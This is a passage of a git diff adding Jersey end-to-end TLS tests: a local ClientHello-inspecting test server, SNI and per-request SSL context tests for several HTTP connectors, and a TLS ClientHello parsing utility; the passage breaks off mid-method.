+1,147 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.tests.e2e.tls; + +import org.glassfish.jersey.tests.e2e.tls.explorer.SSLCapabilities; +import org.glassfish.jersey.tests.e2e.tls.explorer.SSLExplorer; + +import javax.net.ServerSocketFactory; +import javax.net.ssl.SNIHostName; +import javax.net.ssl.SNIMatcher; +import javax.net.ssl.SSLParameters; +import javax.net.ssl.SSLServerSocket; +import javax.net.ssl.SSLServerSocketFactory; +import javax.net.ssl.SSLSession; +import javax.net.ssl.SSLSocket; +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.net.ServerSocket; +import java.net.Socket; +import java.net.SocketException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collection; + +public class ClientHelloTestServer { + private ServerSocket serverSocket; + private Thread serverThread; + private volatile State state = State.NONE; + + private enum State { + NONE, + INIT, + STARTED, + STOPPED + } + + protected ServerSocketFactory getServerSocketFactory() { + return ServerSocketFactory.getDefault(); + } + + protected void afterHandshake(Socket socket, SSLCapabilities capabilities) { + + } + + public void init(int port) { + ServerSocketFactory factory = getServerSocketFactory(); + try { + serverSocket = factory.createServerSocket(port); + + state = State.INIT; + } catch (IOException e) { + e.printStackTrace(); + } + } + + public void start() { + if (state != State.INIT) { + System.out.println("Server has not been initialized"); + } + Thread thread = new Thread(() -> { + while (state == State.INIT) { + Socket socket = null; + try { + socket = serverSocket.accept(); + + inspect(socket); + } catch (SocketException e) { + if (!e.getMessage().equals("Interrupted function call: accept failed")) { + e.printStackTrace(); + } + } catch (IOException e) { + e.printStackTrace(); + } + } + }); + serverThread = thread; + thread.start(); + } + + public void stop() { + try { + state = State.STOPPED; + serverSocket.close(); + serverThread.join(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public void inspect(Socket socket) throws IOException { + InputStream ins = socket.getInputStream(); + + byte[] buffer = new byte[0xFF]; + int position = 0; + SSLCapabilities capabilities = null; + +// Read the header of TLS record + while (position < SSLExplorer.RECORD_HEADER_SIZE) { + int count = SSLExplorer.RECORD_HEADER_SIZE - position; + int n = ins.read(buffer, position, count); + if (n < 0) { + throw new IOException("unexpected end of stream!"); + } + position += n; + } + +// Get the required size to explore the SSL capabilities + int recordLength = SSLExplorer.getRequiredSize(buffer, 0, position); + if (buffer.length < recordLength) { + buffer = Arrays.copyOf(buffer, recordLength); + } + + while (position < recordLength) { + int count = recordLength - position; + int n = ins.read(buffer, position, count); + if (n < 0) { + throw new IOException("unexpected end of stream!"); + } + position += n; + } + +// Explore + capabilities = SSLExplorer.explore(buffer, 0, recordLength); + if (capabilities != null) { + System.out.println("Record version: " + capabilities.getRecordVersion()); + System.out.println("Hello version: " + capabilities.getHelloVersion()); + } + + afterHandshake(socket, capabilities); + } +} diff --git a/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SniTest.java b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SniTest.java new file mode 100644 index 00000000000..3964fcea334 --- /dev/null +++ b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SniTest.java @@ -0,0 +1,154 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.tests.e2e.tls; + +import jakarta.ws.rs.client.Invocation; +import org.glassfish.jersey.apache.connector.ApacheConnectorProvider; +import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.HttpUrlConnectorProvider; +import org.glassfish.jersey.client.spi.ConnectorProvider; +import org.glassfish.jersey.jdk.connector.JdkConnectorProvider; +import org.glassfish.jersey.jnh.connector.JavaNetHttpConnectorProvider; +import org.glassfish.jersey.netty.connector.NettyConnectorProvider; +import org.glassfish.jersey.tests.e2e.tls.explorer.SSLCapabilities; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.MethodSource; + +import javax.net.ssl.SNIServerName; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; +import java.io.IOException; +import java.net.InetAddress; +import java.net.Socket; +import java.net.SocketTimeoutException; +import java.net.UnknownHostException; +import java.util.LinkedList; +import java.util.List; +import java.util.concurrent.TimeoutException; + +public class SniTest { + private static final int PORT = 8443; + private static final String LOCALHOST = "127.0.0.1"; + + static { +// Debug +// System.setProperty("sun.net.http.allowRestrictedHeaders", "true"); +// System.setProperty("jdk.httpclient.allowRestrictedHeaders", "Host"); + // JDK specific settings + System.setProperty("jdk.net.hosts.file", SniTest.class.getResource("/hosts").getPath()); + } + + public static ConnectorProvider[] getConnectors() { + return new ConnectorProvider[] { + new NettyConnectorProvider(), + new ApacheConnectorProvider(), + new Apache5ConnectorProvider(), + new JdkConnectorProvider(), + new HttpUrlConnectorProvider(), + new JavaNetHttpConnectorProvider() + }; + } + + @ParameterizedTest + @MethodSource("getConnectors") + public void server1Test(ConnectorProvider provider) { + ClientConfig clientConfig = new ClientConfig(); + clientConfig.connectorProvider(provider); + clientConfig.property(ClientProperties.SNI_HOST_NAME, "www.host1.com"); + serverTest(clientConfig, provider, "www.host1.com"); + } + + public void serverTest(ClientConfig clientConfig, ConnectorProvider provider, String hostName) { + String newHostName = replaceWhenHostNotKnown(hostName); + final List serverNames = new LinkedList<>(); + final String[] requestHostName = new String[1]; + ClientHelloTestServer server = new ClientHelloTestServer() { + @Override + protected void afterHandshake(Socket socket, SSLCapabilities capabilities) { + serverNames.addAll(capabilities.getServerNames()); + } + }; + server.init(PORT); + server.start(); + + clientConfig.property(ClientProperties.READ_TIMEOUT, 2000); + clientConfig.property(ClientProperties.CONNECT_TIMEOUT, 2000); + Invocation.Builder builder = ClientBuilder.newClient(clientConfig) + .register(new ClientRequestFilter() { + @Override + public void filter(ClientRequestContext requestContext) throws IOException { + requestHostName[0] = requestContext.getUri().getHost(); + } + }) + .target("https://" + (newHostName.equals(LOCALHOST) ? LOCALHOST : "www.host0.com") + ":" + PORT) + .path("host") + .request(); + if (!JavaNetHttpConnectorProvider.class.isInstance(provider)) { + builder = builder.header(HttpHeaders.HOST, hostName + ":8080"); + } + try (Response r = builder.get()) { + // empty + } catch (Exception e) { + Throwable cause = e; + while (cause != null + && !SocketTimeoutException.class.isInstance(cause) + && TimeoutException.class.isInstance(cause)) { + cause = cause.getCause(); + } + if ((!e.getMessage().contains("Stream closed")) && !e.getMessage().contains("timed out")) { + throw e; + } + } + + server.stop(); + + if (serverNames.isEmpty()) { + throw new IllegalStateException("ServerNames are empty"); + } + + String clientSniName = new String(serverNames.get(0).getEncoded()); + if (!hostName.equals(clientSniName)) { + throw new IllegalStateException("Unexpected client SNI name " + clientSniName); + } + + if (!LOCALHOST.equals(newHostName) && requestHostName[0].equals(hostName)) { + throw new IllegalStateException("The HTTP Request is made with the same"); + } + + System.out.append("Found expected Client SNI ").println(serverNames.get(0)); + } + + /* + * The method checks whether the JDK-dependent property "jdk.net.hosts.file" works. + * If it does, the request is made with the hostname, so that the 3rd party client has + * the request with the hostname. If a real address is returned or UnknownHostException + * is thrown, the property did not work and the request needs to use 127.0.0.1. + */ + private static String replaceWhenHostNotKnown(String hostName) { + try { + InetAddress inetAddress = InetAddress.getByName(hostName); + return LOCALHOST.equals(inetAddress.getHostAddress()) ? hostName : LOCALHOST; + } catch (UnknownHostException e) { + return LOCALHOST; + } + } +} diff --git a/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SslContextPerRequestTest.java b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SslContextPerRequestTest.java new file mode 100644 index 00000000000..944f284459e --- /dev/null +++ b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SslContextPerRequestTest.java @@ -0,0 +1,210 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.tests.e2e.tls; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.HttpUrlConnectorProvider; +import org.glassfish.jersey.client.RequestEntityProcessing; +import org.glassfish.jersey.client.SslContextClientBuilder; +import org.glassfish.jersey.client.spi.ConnectorProvider; +import org.glassfish.jersey.netty.connector.NettyClientProperties; +import org.glassfish.jersey.netty.connector.NettyConnectorProvider; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.glassfish.jersey.test.grizzly.GrizzlyTestContainerFactory; +import org.glassfish.jersey.test.spi.TestContainerFactory; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.MethodSource; + +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLParameters; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Invocation; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.UriBuilder; +import java.io.InputStream; +import java.net.URI; +import java.security.KeyStore; +import java.security.NoSuchAlgorithmException; +import java.util.Optional; +import java.util.function.Supplier; +import java.util.stream.Stream; + +public class SslContextPerRequestTest extends JerseyTest { + + private SSLContext serverSslContext; + private SSLParameters serverSslParameters; + private static final String MESSAGE = "Message for Netty with SSL"; + + @Override + protected TestContainerFactory getTestContainerFactory() { + return new GrizzlyTestContainerFactory(); + } + + @Path("secure") + public static class TestResource { + @GET + public String get(@Context HttpHeaders headers) { + return MESSAGE; + } + } + + @Override + protected Application configure() { + return new ResourceConfig(TestResource.class); + } + + @Override + protected URI getBaseUri() { + return UriBuilder + .fromUri("https://localhost") + .port(getPort()) + .build(); + } + + @Override + protected Optional getSslContext() { + if (serverSslContext == null) { + serverSslContext = SslUtils.createServerSslContext(); + } + + return Optional.of(serverSslContext); + } + + @Override + protected Optional getSslParameters() { + if (serverSslParameters == null) { + serverSslParameters = new SSLParameters(); + serverSslParameters.setNeedClientAuth(false); + } + + return Optional.of(serverSslParameters); + } + + public static Stream connectorProviders() { + return Stream.of( + new HttpUrlConnectorProvider(), + new NettyConnectorProvider() + ); + } + + @ParameterizedTest + @MethodSource("connectorProviders") + public void sslOnRequestTest(ConnectorProvider connectorProvider) throws NoSuchAlgorithmException { + Supplier clientSslContext = SslUtils.createClientSslContext(); + + ClientConfig config = new ClientConfig(); + config.connectorProvider(connectorProvider); + config.property(ClientProperties.REQUEST_ENTITY_PROCESSING, RequestEntityProcessing.BUFFERED); + + Client client = ClientBuilder.newBuilder().withConfig(config).build(); + + WebTarget target = client.target(getBaseUri()).path("secure"); + + String s; + + s = target.request() + .property(ClientProperties.SSL_CONTEXT_SUPPLIER, clientSslContext) + .get(String.class); + Assertions.assertEquals(MESSAGE, s); + + try { + Invocation.Builder builder = target.request() + .property(ClientProperties.SSL_CONTEXT_SUPPLIER, + new SslContextClientBuilder().sslContext(SSLContext.getDefault())); + + if (NettyConnectorProvider.class.isInstance(connectorProvider)) { + builder = builder.header(HttpHeaders.HOST, "TestHost"); // New Netty channel without SSL yet + } + s = builder.get(String.class); + Assertions.fail("The SSL Exception has not been thrown"); + } catch (ProcessingException pe) { + // expected + } + + s = target.request() + .property(ClientProperties.SSL_CONTEXT_SUPPLIER, clientSslContext) + .get(String.class); + Assertions.assertEquals(MESSAGE, s); + } + + @ParameterizedTest + @MethodSource("connectorProviders") + public void testSslOnClient(ConnectorProvider connectorProvider) { + Supplier clientSslContext = SslUtils.createClientSslContext(); + + ClientConfig config = new ClientConfig(); + config.connectorProvider(connectorProvider); + + Client client = ClientBuilder.newBuilder().withConfig(config) + .sslContext(clientSslContext.get()) + .build(); + + WebTarget target = client.target(getBaseUri()).path("secure"); + + String s = target.request().get(String.class); + Assertions.assertEquals(MESSAGE, s); + } + + private static class SslUtils { + + private static final String SERVER_IDENTITY_PATH = "server-identity.jks"; + private static final char[] SERVER_IDENTITY_PASSWORD = "secret".toCharArray(); + + private static final String CLIENT_TRUSTSTORE_PATH = "client-truststore.jks"; + private static final char[] CLIENT_TRUSTSTORE_PASSWORD = "secret".toCharArray(); + + private static final String KEYSTORE_TYPE = "PKCS12"; + + private SslUtils() {} + + public static SSLContext createServerSslContext() { + return new SslContextClientBuilder() + .keyStore(getKeyStore(SERVER_IDENTITY_PATH, SERVER_IDENTITY_PASSWORD), SERVER_IDENTITY_PASSWORD) + .get(); + } + + public static Supplier createClientSslContext() { + return new SslContextClientBuilder() + .trustStore(getKeyStore(CLIENT_TRUSTSTORE_PATH, CLIENT_TRUSTSTORE_PASSWORD)); + + } + + private static KeyStore getKeyStore(String path, char[] keyStorePassword) { + try (InputStream inputStream = getResource(path)) { + KeyStore keyStore = KeyStore.getInstance(KEYSTORE_TYPE); + keyStore.load(inputStream, keyStorePassword); + return keyStore; + } catch (Exception e) { + throw new ProcessingException(e); + } + } + + private static InputStream getResource(String path) { + return SslUtils.class.getClassLoader().getResourceAsStream(path); + } + } +} diff --git a/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/explorer/SSLCapabilities.java b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/explorer/SSLCapabilities.java new file mode 100644 index 00000000000..e21b86ab0ce --- /dev/null +++ b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/explorer/SSLCapabilities.java @@ -0,0 +1,79 @@ +/* + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle or the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package org.glassfish.jersey.tests.e2e.tls.explorer; + +import java.nio.ByteBuffer; +import java.util.List; +import javax.net.ssl.SNIServerName; + +/** + * Encapsulates the security capabilities of an SSL/TLS connection. + *

    + * The security capabilities are the list of ciphersuites to be accepted in + * an SSL/TLS handshake, the record version, the hello version, and server + * name indication, etc., of an SSL/TLS connection. + *

    + * SSLCapabilities can be retrieved by exploring the network + * data of an SSL/TLS connection via {@link SSLExplorer#explore(ByteBuffer)} + * or {@link SSLExplorer#explore(byte[], int, int)}. + * + * @see SSLExplorer + */ +public abstract class SSLCapabilities { + + /** + * Returns the record version of an SSL/TLS connection + * + * @return a non-null record version + */ + public abstract String getRecordVersion(); + + /** + * Returns the hello version of an SSL/TLS connection + * + * @return a non-null hello version + */ + public abstract String getHelloVersion(); + + /** + * Returns a List containing all {@link SNIServerName}s + * of the server name indication. + * + * @return a non-null immutable list of {@link SNIServerName}s + * of the server name indication parameter, may be empty + * if no server name indication. + * + * @see SNIServerName + */ + public abstract List getServerNames(); +} + diff --git a/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/explorer/SSLExplorer.java b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/explorer/SSLExplorer.java new file mode 100644 index 00000000000..71c1f4e48ca --- /dev/null +++ b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/explorer/SSLExplorer.java @@ -0,0 +1,627 @@ +package org.glassfish.jersey.tests.e2e.tls.explorer; + +/* + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle or the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import javax.net.ssl.SNIHostName; +import javax.net.ssl.SNIServerName; +import javax.net.ssl.SSLException; +import javax.net.ssl.SSLProtocolException; +import javax.net.ssl.StandardConstants; +import java.nio.ByteBuffer; +import java.nio.BufferUnderflowException; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +/** + * Instances of this class acts as an explorer of the network data of an + * SSL/TLS connection. + */ +public final class SSLExplorer { + + // Private constructor prevents construction outside this class. + private SSLExplorer() { + } + + /** + * The header size of TLS/SSL records. + *

    + * The value of this constant is {@value}. + */ + public static final int RECORD_HEADER_SIZE = 0x05; + + /** + * Returns the required number of bytes in the {@code source} + * {@link ByteBuffer} necessary to explore SSL/TLS connection. + *

    + * This method tries to parse as few bytes as possible from + * {@code source} byte buffer to get the length of an + * SSL/TLS record. + *

    + * This method accesses the {@code source} parameter in read-only + * mode, and does not update the buffer's properties such as capacity, + * limit, position, and mark values. + * + * @param source + * a {@link ByteBuffer} containing + * inbound or outbound network data for an SSL/TLS connection. + * @throws BufferUnderflowException if less than {@code RECORD_HEADER_SIZE} + * bytes remaining in {@code source} + * @return the required size in byte to explore an SSL/TLS connection + */ + public static int getRequiredSize(ByteBuffer source) { + + ByteBuffer input = source.duplicate(); + + // Do we have a complete header? + if (input.remaining() < RECORD_HEADER_SIZE) { + throw new BufferUnderflowException(); + } + + // Is it a handshake message? + byte firstByte = input.get(); + byte secondByte = input.get(); + byte thirdByte = input.get(); + if ((firstByte & 0x80) != 0 && thirdByte == 0x01) { + // looks like a V2ClientHello + // return (((firstByte & 0x7F) << 8) | (secondByte & 0xFF)) + 2; + return RECORD_HEADER_SIZE; // Only need the header fields + } else { + return (((input.get() & 0xFF) << 8) | (input.get() & 0xFF)) + 5; + } + } + + /** + * Returns the required number of bytes in the {@code source} byte array + * necessary to explore SSL/TLS connection. + *

    + * This method tries to parse as few bytes as possible from + * {@code source} byte array to get the length of an + * SSL/TLS record. + * + * @param source + * a byte array containing inbound or outbound network data for + * an SSL/TLS connection. + * @param offset + * the start offset in array {@code source} at which the + * network data is read from. + * @param length + * the maximum number of bytes to read. + * + * @throws BufferUnderflowException if less than {@code RECORD_HEADER_SIZE} + * bytes remaining in {@code source} + * @return the required size in byte to explore an SSL/TLS connection + */ + public static int getRequiredSize(byte[] source, + int offset, int length) throws IOException { + + ByteBuffer byteBuffer = + ByteBuffer.wrap(source, offset, length).asReadOnlyBuffer(); + return getRequiredSize(byteBuffer); + } + + /** + * Launch and explore the security capabilities from byte buffer. + *

    + * This method tries to parse as few records as possible from + * {@code source} byte buffer to get the {@link SSLCapabilities} + * of an SSL/TLS connection. + *

    + * Please NOTE that this method must be called before any handshaking + * occurs. The behavior of this method is not defined in this release + * if the handshake has begun, or has completed. + *

    + * This method accesses the {@code source} parameter in read-only + * mode, and does not update the buffer's properties such as capacity, + * limit, position, and mark values. + * + * @param source + * a {@link ByteBuffer} containing + * inbound or outbound network data for an SSL/TLS connection. + * + * @throws IOException on network data error + * @throws BufferUnderflowException if not enough source bytes available + * to make a complete exploration. + * + * @return the explored {@link SSLCapabilities} of the SSL/TLS + * connection + */ + public static SSLCapabilities explore(ByteBuffer source) + throws IOException { + + ByteBuffer input = source.duplicate(); + + // Do we have a complete header? + if (input.remaining() < RECORD_HEADER_SIZE) { + throw new BufferUnderflowException(); + } + + // Is it a handshake message? + byte firstByte = input.get(); + byte secondByte = input.get(); + byte thirdByte = input.get(); + if ((firstByte & 0x80) != 0 && thirdByte == 0x01) { + // looks like a V2ClientHello + return exploreV2HelloRecord(input, + firstByte, secondByte, thirdByte); + } else if (firstByte == 22) { // 22: handshake record + return exploreTLSRecord(input, + firstByte, secondByte, thirdByte); + } else { + throw new SSLException("Not handshake record"); + } + } + + /** + * Launch and explore the security capabilities from byte array. + *

    + * Please NOTE that this method must be called before any handshaking + * occurs. The behavior of this method is not defined in this release + * if the handshake has begun, or has completed. Once handshake has + * begun, or has completed, the security capabilities can not and + * should not be launched with this method. + * + * @param source + * a byte array containing inbound or outbound network data for + * an SSL/TLS connection. + * @param offset + * the start offset in array {@code source} at which the + * network data is read from. + * @param length + * the maximum number of bytes to read. + * + * @throws IOException on network data error + * @throws BufferUnderflowException if not enough source bytes available + * to make a complete exploration. + * @return the explored {@link SSLCapabilities} of the SSL/TLS + * connection + * + * @see #explore(ByteBuffer) + */ + public static SSLCapabilities explore(byte[] source, + int offset, int length) throws IOException { + ByteBuffer byteBuffer = + ByteBuffer.wrap(source, offset, length).asReadOnlyBuffer(); + return explore(byteBuffer); + } + + /* + * uint8 V2CipherSpec[3]; + * struct { + * uint16 msg_length; // The highest bit MUST be 1; + * // the remaining bits contain the length + * // of the following data in bytes. + * uint8 msg_type; // MUST be 1 + * Version version; + * uint16 cipher_spec_length; // It cannot be zero and MUST be a + * // multiple of the V2CipherSpec length. + * uint16 session_id_length; // This field MUST be empty. + * uint16 challenge_length; // SHOULD use a 32-byte challenge + * V2CipherSpec cipher_specs[V2ClientHello.cipher_spec_length]; + * opaque session_id[V2ClientHello.session_id_length]; + * opaque challenge[V2ClientHello.challenge_length; + * } V2ClientHello; + */ + private static SSLCapabilities exploreV2HelloRecord( + ByteBuffer input, byte firstByte, byte secondByte, + byte thirdByte) throws IOException { + + // We only need the header. We have already had enough source bytes. + // int recordLength = (firstByte & 0x7F) << 8) | (secondByte & 0xFF); + try { + // Is it a V2ClientHello? + if (thirdByte != 0x01) { + throw new SSLException( + "Unsupported or Unrecognized SSL record"); + } + + // What's the hello version? + byte helloVersionMajor = input.get(); + byte helloVersionMinor = input.get(); + + // 0x00: major version of SSLv20 + // 0x02: minor version of SSLv20 + // + // SNIServerName is an extension, SSLv20 doesn't support extension. + return new SSLCapabilitiesImpl((byte) 0x00, (byte) 0x02, + helloVersionMajor, helloVersionMinor, + Collections.emptyList()); + } catch (BufferUnderflowException bufe) { + throw new SSLProtocolException( + "Invalid handshake record"); + } + } + + /* + * struct { + * uint8 major; + * uint8 minor; + * } ProtocolVersion; + * + * enum { + * change_cipher_spec(20), alert(21), handshake(22), + * application_data(23), (255) + * } ContentType; + * + * struct { + * ContentType type; + * ProtocolVersion version; + * uint16 length; + * opaque fragment[TLSPlaintext.length]; + * } TLSPlaintext; + */ + private static SSLCapabilities exploreTLSRecord( + ByteBuffer input, byte firstByte, byte secondByte, + byte thirdByte) throws IOException { + + // Is it a handshake message? + if (firstByte != 22) { // 22: handshake record + throw new SSLException("Not handshake record"); + } + + // We need the record version to construct SSLCapabilities. + byte recordMajorVersion = secondByte; + byte recordMinorVersion = thirdByte; + + // Is there enough data for a full record? + int recordLength = getInt16(input); + if (recordLength > input.remaining()) { + throw new BufferUnderflowException(); + } + + // We have already had enough source bytes. + try { + return exploreHandshake(input, + recordMajorVersion, recordMinorVersion, recordLength); + } catch (BufferUnderflowException bufe) { + throw new SSLProtocolException( + "Invalid handshake record"); + } + } + + /* + * enum { + * hello_request(0), client_hello(1), server_hello(2), + * certificate(11), server_key_exchange (12), + * certificate_request(13), server_hello_done(14), + * certificate_verify(15), client_key_exchange(16), + * finished(20) + * (255) + * } HandshakeType; + * + * struct { + * HandshakeType msg_type; + * uint24 length; + * select (HandshakeType) { + * case hello_request: HelloRequest; + * case client_hello: ClientHello; + * case server_hello: ServerHello; + * case certificate: Certificate; + * case server_key_exchange: ServerKeyExchange; + * case certificate_request: CertificateRequest; + * case server_hello_done: ServerHelloDone; + * case certificate_verify: CertificateVerify; + * case client_key_exchange: ClientKeyExchange; + * case finished: Finished; + * } body; + * } Handshake; + */ + private static SSLCapabilities exploreHandshake( + ByteBuffer input, byte recordMajorVersion, + byte recordMinorVersion, int recordLength) throws IOException { + + // What is the handshake type? + byte handshakeType = input.get(); + if (handshakeType != 0x01) { // 0x01: client_hello message + throw new IllegalStateException("Not initial handshaking"); + } + + // What is the handshake body length? + int handshakeLength = getInt24(input); + + // Theoretically, a single handshake message might span multiple + // records, but in practice this does not occur. + if (handshakeLength > (recordLength - 4)) { // 4: handshake header size + throw new SSLException("Handshake message spans multiple records"); + } + + input = input.duplicate(); + input.limit(handshakeLength + input.position()); + return exploreClientHello(input, + recordMajorVersion, recordMinorVersion); + } + + /* + * struct { + * uint32 gmt_unix_time; + * opaque random_bytes[28]; + * } Random; + * + * opaque SessionID<0..32>; + * + * uint8 CipherSuite[2]; + * + * enum { null(0), (255) } CompressionMethod; + * + * struct { + * ProtocolVersion client_version; + * Random random; + * SessionID session_id; + * CipherSuite cipher_suites<2..2^16-2>; + * CompressionMethod compression_methods<1..2^8-1>; + * select (extensions_present) { + * case false: + * struct {}; + * case true: + * Extension extensions<0..2^16-1>; + * }; + * } ClientHello; + */ + private static SSLCapabilities exploreClientHello( + ByteBuffer input, + byte recordMajorVersion, + byte recordMinorVersion) throws IOException { + + List snList = Collections.emptyList(); + + // client version + byte helloMajorVersion = input.get(); + byte helloMinorVersion = input.get(); + + // ignore random + int position = input.position(); + input.position(position + 32); // 32: the length of Random + + // ignore session id + ignoreByteVector8(input); + + // ignore cipher_suites + ignoreByteVector16(input); + + // ignore compression methods + ignoreByteVector8(input); + + if (input.remaining() > 0) { + snList = exploreExtensions(input); + } + + return new SSLCapabilitiesImpl( + recordMajorVersion, recordMinorVersion, + helloMajorVersion, helloMinorVersion, snList); + } + + /* + * struct { + * ExtensionType extension_type; + * opaque extension_data<0..2^16-1>; + * } Extension; + * + * enum { + * server_name(0), max_fragment_length(1), + * client_certificate_url(2), trusted_ca_keys(3), + * truncated_hmac(4), status_request(5), (65535) + * } ExtensionType; + */ + private static List exploreExtensions(ByteBuffer input) + throws IOException { + + int length = getInt16(input); // length of extensions + while (length > 0) { + int extType = getInt16(input); // extenson type + int extLen = getInt16(input); // length of extension data + + if (extType == 0x00) { // 0x00: type of server name indication + return exploreSNIExt(input, extLen); + } else 